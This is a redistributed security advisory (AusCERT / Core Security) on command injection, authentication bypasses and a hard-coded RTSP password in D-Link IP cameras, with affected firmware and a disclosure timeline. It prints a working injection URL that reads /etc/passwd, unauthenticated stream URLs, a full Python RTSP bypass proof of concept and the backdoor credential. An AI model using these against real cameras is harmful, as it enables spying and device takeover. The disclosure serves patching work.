AusCERT - ESB-2013.0631 - [Appliance] D-Link IP Cameras: Multiple vulnerabilities

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ESB-2013.0631 - [Appliance] D-Link IP Cameras: Multiple vulnerabilities
Date: 06 May 2013

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===========================================================================
             AUSCERT External Security Bulletin Redistribution

                               ESB-2013.0631
                D-Link IP Cameras Multiple Vulnerabilities
                                6 May 2013

===========================================================================

        AusCERT Security Bulletin Summary
        ---------------------------------

Product:           D-Link IP Cameras
Publisher:         Core Security Technologies
Operating System:  Network Appliance
Impact/Access:     Execute Arbitrary Code/Commands -- Remote/Unauthenticated
                   Access Confidential Data        -- Remote/Unauthenticated
                   Unauthorised Access             -- Remote/Unauthenticated
Resolution:        Patch/Upgrade
CVE Names:         CVE-2013-1603 CVE-2013-1602 CVE-2013-1601
                   CVE-2013-1600 CVE-2013-1599 

Original Bulletin: 
   http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities

- --------------------------BEGIN INCLUDED TEXT--------------------

D-Link IP Cameras Multiple Vulnerabilities

1. Advisory Information

Title: D-Link IP Cameras Multiple Vulnerabilities
Advisory ID: CORE-2013-0303
Advisory URL: http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities
Date published: 2013-04-29
Date of last update: 2013-03-29
Vendors contacted: D-Link Corporation
Release mode: Coordinated release

2. Vulnerability Information

Class: OS command injection [CWE-78], Authentication issues [CWE-287], 
Information leak through GET request [CWE-598], Authentication issues 
[CWE-287], Use of hard-coded credentials [CWE-798]

Impact: Code execution, Security bypass

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, 
CVE-2013-1603

3. Vulnerability Description

Multiple vulnerabilities have been found in D-Link IP cameras [1] that could 
allow an unauthenticated remote attacker:

    [CVE-2013-1599] to execute arbitrary commands from the administration web 
    interface,
    [CVE-2013-1600] to access the video stream via HTTP,
    [CVE-2013-1601] to access the ASCII video stream via image luminance,
    [CVE-2013-1602] to access the video stream via RTSP,
    [CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials.

4. Vulnerable Packages

The following is the list of affected devices and the associated firmware 
(confirmed by D-Link). Other SKUs are probably affected too, but they were not 
checked.

[CVE-2013-1599]

    DCS-3411/3430 - firmware v1.02
    DCS-5605/5635 - v1.01
    DCS-1100L/1130L - v1.04
    DCS-1100/1130 - v1.03
    DCS-1100/1130 - v1.04_US
    DCS-2102/2121 - v1.05_RU
    DCS-3410 - v1.02
    DCS-5230 - v1.02
    DCS-5230L - v1.02
    DCS-6410 - v1.00
    DCS-7410 - v1.00
    DCS-7510 - v1.00
    WCS-1100 - v1.02

[CVE-2013-1600]

    DCS-2102/2121 - v1.05_RU
    DCS-2102/2121 - v1.06
    DCS-2102/2121 - v1.06_FR
    TESCO DCS-2102/2121 - v1.05_TESCO

[CVE-2013-1601] and [CVE-2013-1603]

    DCS-3411/3430 - v1.02
    DCS-5605/5635 - v1.01
    DCS-1100L/1130L - v1.04
    DCS-1100/1130 - v1.03
    DCS-1100/1130 - v1.04_US
    DCS-2102/2121 - v1.05_RU
    DCS-2102/2121 - v1.06
    DCS-2102/2121 - v1.06_FR
    TESCO DCS-2102/2121 - v1.05_TESCO
    DCS-3410 - v1.02
    DCS-5230 - v1.02
    DCS-5230L - v1.02
    DCS-6410 - v1.00
    DCS-7410 - v1.00
    DCS-7510 - v1.00
    WCS-1100 - v1.02

[CVE-2013-1602]

    ALL mentioned devices and firmware.

5. Vendor Information, Solutions and Workarounds

D-Link announces that all patches are ready and scheduled for posting on 
corporate web site for all customers [2013-04-25]. Contact D-Link for further 
information.

6. Credits

[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and 
researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.

[CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact 
Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core 
QA Team.

[CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core 
Security Consulting Services.

The publication of this advisory was coordinated by Fernando Miranda from Core 
Advisories Team.

 7. Technical Description / Proof of Concept Code

7.1. OS Command Injection

[CVE-2013-1599] A security issue located in /var/www/cgi-bin/rtpd.cgi allows an
unauthenticated remote attacker to execute arbitrary commands through the 
camera's web interface. The OS command injection is due to this code in 
rtpd.cgi:

echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces."
. $conf > /dev/null 2> /dev/null
eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"

The first line of this snippet basically ensures that there are no spaces in 
$QUERY_STRING. The last line uses sed to replace ampersands & with spaces, and 
then call to the function eval(), resulting in a typical command injection. 
For example, in order to execute:

uname -a;cat /etc/passwd,

the following request can be sent to the camera web interface:

http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd

7.2. Authentication Bypass

[CVE-2013-1600] The live video stream can be accessed without authentication 
by a remote attacker via the following request:

http://192.168.1.100/upnp/asf-mp4.asf

7.3. ASCII Video Stream Information Leak

[CVE-2013-1601] An ASCII output (the image luminance) of the live video stream 
can be accessed by a remote unauthenticated attacker via:

http://192.168.1.100/md/lums.cgi

The following example is the output of a coffee pot video stream [2]:

O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O .       . . o O O o o o o o o o o o o o
O O O O O O O O O O O O o o O O o         . .   o o o o o o o o o o o o o o
O O O O O O O O O O O O o o o o . . . . .                   . o o o o o o o
O O O O O O O O O O o . o O O o                               . o o o o o o
O O O O O O O O O .                                           . o o o o o o
O O O O O O O O .                                         . o o o o o o o o
O O O O O O O .     . o O O o .                         . o o o o o o o o o
O O O O O O o     . O O O O O O                         . o o o o o o o o o
O O O O O O .     O O O O O O O .     . . . .             o o o o o o o o o
O O O O O O     o O O O O O O O .     . . o . .           . o o o o o o o o
O O O O O O     o O O O O O O O .   . . o o o . . . . . . . o o o o o o o o
O O O O O O     o O O O O O O o . o O O o O O . . . . . . . . o o o o o o o
O O O O O O .   o O O O O O O o . O O O o O O . . . . . . . . . o o o o o o
O O O O O O .   . O O O O O o . . O O o o O O o . . . . . . . . o o o o o o
O O O O O O o     O O O O O o . o O O o o O O o . . . . . . . . . o o o o o
O O O O O O O     O O O O O . . o O O o o O O o . . . . . . . . . o o o o o
O O O O O O O .   o O O O o . o o o O o o O O o . . . . . . . . . . o o o o
O O O O O O O o   . O O O o . o o o O o o O O o . . . . . . . . . . o o o o
O O O O O O O O   . O O O . . o o o O o o O O o . . . . . . . . . . o o o o
O O O O O O O O     O O O . . o o o O o o O O o . . . . . . . . . . . o o o
O O O O O O O O o   o O o   o o o o O o o o O o . . . . . . . . . . . o o o
O O O O O O O O O   . O o   o o o o O o . o O o . . . . . . . . . . . . o o
O O O O O O O O O .   O o . o o o o O . . o O o . . . . . . . . . . . . . o
O O O O O O O O O o   o . . o o o o o . . o O o . . . . . . . .   .   . . o
O O O O O O O O O O   . . . o o o . o . . o O o . . . .               .   .
o O O O O O O O O O .     . o o o . o . . . O o . .                   .    
o o O O O O O O O O o     . o o o . o . . . O o . .                        
o o o O O O O O O O o     . o o o . o . . . O o .                          

 
7.4. RTSP Authentication Bypass

[CVE-2013-1602] This vulnerability is triggered because:

        Authentication is only present in DESCRIBE requests but not in every 
        subsequent request.
        When the RTSP session is being established, the authentication request 
        of current session is ignored (a previously stored response is used 
        instead).

alt;p>As a result, the video stream can be accessed by an unauthenticated 
remote attacker. </p><textarea rows="28" cols="60" wrap="off" 
style="overflow:auto" id="code7">import sys
from socket import *
from threading import Thread
import time, re

LOGGING = 1

def log(s):
    if LOGGING:
        print '(%s) %s' % (time.ctime(), s)


class UDPRequestHandler(Thread):
    def __init__(self, data_to_send, recv_addr, dst_addr):
        Thread.__init__(self)
        self.data_to_send = data_to_send
        self.recv_addr = recv_addr
        self.dst_addr = dst_addr
    
    def run(self):
        sender = socket(AF_INET, SOCK_DGRAM)
        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        sender.sendto(self.data_to_send, self.dst_addr)
        response = sender.recv(1024)
        sender.sendto(response, self.recv_addr)
        sender.close()


class UDPDispatcher(Thread):
    dispatchers = []
    
    def __has_dispatcher_for(self, port):
        return any([d.src_port == port for d in UDPDispatcher.dispatchers])
    
    def __init__(self, src_port, dst_addr):
        Thread.__init__(self)
        if self.__has_dispatcher_for(src_port):
            raise Exception('There is already a dispatcher for port %d' % src_port)
        self.src_port = src_port
        self.dst_addr = dst_addr
        UDPDispatcher.dispatchers.append(self)
    
    def run(self):
        listener = socket(AF_INET, SOCK_DGRAM)
        listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        listener.bind(('', self.src_port))
        while 1:
            try:
                data, recv_addr = listener.recvfrom(1024)
                if not data: break
                UDPRequestHandler(data, recv_addr, self.dst_addr).start()
            except Exception as e:
                print e
                break        
        listener.close()
        UDPDispatcher.dispatchers.remove( self )


class PipeThread(Thread):
    pipes = []
    def __init__(self, source, sink, process_data_callback=lambda x: x):
        Thread.__init__(self)
        self.source = source
        self.sink = sink
        self.process_data_callback = process_data_callback
        PipeThread.pipes.append(self)

    def run(self):
        while 1:
            try:
                data = self.source.recv(1024)
                data = self.process_data_callback(data)
                if not data: break
                self.sink.send( data )
            except Exception as e:
                log(e)
                break
        PipeThread.pipes.remove(self)


class TCPTunnel(Thread):
    def __init__(self, src_port, dst_addr, process_data_callback=lambda x: x):
        Thread.__init__(self)
        log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1]))
        self.dst_addr = dst_addr
        self.process_data_callback = process_data_callback
        # Create TCP listener socket
        self.sock = socket(AF_INET, SOCK_STREAM)
        self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        self.sock.bind(('', src_port))
        self.sock.listen(5)
    
    def run(self):
        while 1:
            # Wait until a new connection arises
            newsock, address = self.sock.accept()
            # Create forwarder socket
            fwd = socket(AF_INET, SOCK_STREAM)
            fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
            fwd.connect(self.dst_addr)
            # Pipe them!
            PipeThread(newsock, fwd, self.process_data_callback).start()
            PipeThread(fwd, newsock, self.process_data_callback).start()


class Camera():
    def __init__(self, address):
        self.address = address
    def get_describe_data(self):
        return ''


class DLink(Camera):
    # D-Link DCS-2102/1.06-5731
    def __init__(self, address):
        Camera.__init__(self, address)
    def get_describe_data(self):
        return '\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a'


class RTSPAuthByPasser():
    DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'
    UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'
    SERVER_PORT_ARGUMENTS = 'server_port='
    DEFAULT_CSEQ = 1
    DEFAULT_SERVER_PORT_RANGE = '5556-5559'

    def __init__(self, local_port, camera):
        self.last_describe_req = ''
        self.camera = camera
        self.local_port = local_port
        
    def start(self):
        log('[!] Starting bypasser')
        TCPTunnel(self.local_port, self.camera.address, self.spoof_rtsp_conn).start()
        
    def spoof_rtsp_conn(self, data):
        if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
            self.last_describe_req = data
        elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and self.last_describe_req:
            log('[!] Unauthorized response received. Spoofing...')
            spoofed_describe = self.camera.get_describe_data()
            # Look for the request CSeq
            m = re.search('.*CSeq:\\s*(\\d+?)\r\n.*', self.last_describe_req)
            cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ
            # Create the response
            data = 'RTSP/1.0 200 OK\r\n'
            data+= 'CSeq: %s\r\n' % cseq
            data+= 'Content-Type: application/sdp\r\n'
            data+= 'Content-Length: %d\r\n' % len(spoofed_describe)
            data+= '\r\n'
            # Attach the spoofed describe
            data+= spoofed_describe       
        elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:
            # Look for the server RTP ports
            m = re.search('.*%s\\s*(.+?)[;|\r].*' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)
            ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE
            # For each port in the range create a UDP dispatcher
            begin_port, end_port = map(int, ports.split('-'))
            for udp_port in xrange(begin_port, end_port + 1):
                try:
                    UDPDispatcher(udp_port, (self.camera.address[0], udp_port)).start()
                except:
                    pass        
        return data

if __name__ == '__main__':
    if len( sys.argv ) > 1:
        listener_port = camera_port = int(sys.argv[1])
        camera_ip = sys.argv[2]
        if len(sys.argv) == 4:
            camera_port = int(sys.argv[3])
        RTSPAuthByPasser(listener_port, DLink((camera_ip, camera_port))).start()
    else:
        print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'                          

 
7.5. RTSP Hard-Coded Credentials

[CVE-2013-1603] RTSP service contains hard-coded credentials that effectively serve as a backdoor, which allows remote attackers to access the RTSP video stream.

username: (any)           
password: ?*

As we can see in the following dump, the submitted password is compared with the string :?* (the character : is used for concatenation of username:password). This code belongs to the binary rtspd:

text:00011468 loc_11468               ; Load from Memory
.text:00011468 LDR     R3, [R11,#s2]
.text:0001146C STR     R3, [R11,#var_C0] ; Store to Memory
.text:00011470 LDR     R2, [R11,#var_C0] ; Load from Memory
.text:00011474 LDR     R3, [R11,#var_BC] ; Load from Memory
.text:00011478 ADD     R3, R2, R3      ; Rd = Op1 + Op2
.text:0001147C SUB     R3, R3, #3      ; Rd = Op1 - Op2
.text:00011480 STR     R3, [R11,#var_C0] ; Store to Memory
.text:00011484 LDR     R0, [R11,#var_C0] ; s1
.text:00011488 LDR     R1, =asc_1B060  ; ":?*"      <-------
.text:0001148C MOV     R2, #3          ; n
.text:00011490 BL      strncmp         ; Branch with Link
.text:00011494 MOV     R3, R0          ; Rd = Op2
.text:00011498 CMP     R3, #0          ; Set cond. codes on Op1 - Op2
.text:0001149C BNE     loc_114BC       ; Branch

 
8. Report Timeline

    2013-03-19: CORE Security notifies the D-Link team of the vulnerability.
    2013-03-20: D-Link team asks for a technical description of the 
    vulnerability.
    2013-03-20: Core sends a draft advisory with technical details and set the
    estimated publication date of the advisory for May 14th, 2013.
    2013-03-20: Vendor notifies that D-Link Corporation has an unpublished 
    bounty program for security advisors. The bounty program requires both Core 
    Security and D-Link to sign a memo of understanding (MoU).
    2013-03-25: CORE notifies that receiving money from vendors may bias the 
    view of the report and rejects the bounty program.
    2013-03-29: Vendor notifies that they hope to close the fix ASAP.
    2013-04-08: Vendor sends the list of vulnerable devices and the associated 
    firmware and notifies that they will release patches and release notes on 
    the D-Link support forum first. Then, an official public release will be 
    announced (approx. 1 month from forum post to full release).
    2013-04-24: CORE asks for a clarification regarding the D-Link release date
    and notifies that releasing fixes to a privileged closed group and/or a 
    closed forum or list is unacceptable.
    2013-04-25: Vendor notifies that the patches are ready and scheduled for 
    posting on D-Link web site over the next few days.
    2013-04-26: CORE notifies that the advisory is re-scheduled for Monday 
    29th.
    2013-04-29: Advisory CORE-2013-0303 published.

9. References

[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras.
[2] Coffee pot with high hopes.

10. About CoreLabs

CoreLabs, the research center of CORE Security, is charged with anticipating 
the future needs and requirements for information security technologies. We 
conduct our research in several important areas of computer security including 
system vulnerabilities, cyber attack planning and simulation, source code 
auditing, and cryptography. Our results include problem formalization, 
identification of vulnerabilities, novel solutions and prototypes for new 
technologies. CoreLabs regularly publishes security advisories, technical 
papers, project information and shared software tools for public use at: 
http://corelabs.coresecurity.com.

11. About CORE Security

At CORE Security we help more than 1,400 customers worldwide preempt critical 
security threats throughout their IT environments, and communicate the risk the
threats pose to the business. Our patented, proven, award-winning enterprise 
solutions are backed by more than 15 years of applied expertise from CoreLabs, 
the company's innovative security research center.

CORE Security's software solutions build on over a decade of trusted research 
and leading-edge threat expertise from the company's Security Consulting 
Services, CoreLabs and Engineering groups. CORE Security can be reached at 
+1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2013 CORE Security (c) 2013 
CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 (United States) License: 
http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of CORE Security advisories 
team, which is available for download at 
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

Authors:

Martin Rocha

Nahuel Riva

Francisco Falcon

Pablo Santamaria
Link: 
More Information
Published Date: 
Monday, April 29, 2013
Last Updated: 
Monday, April 29, 2013 - 5:15pm
Locally Exploitable: 
no
Remotely Exploitable: 
no

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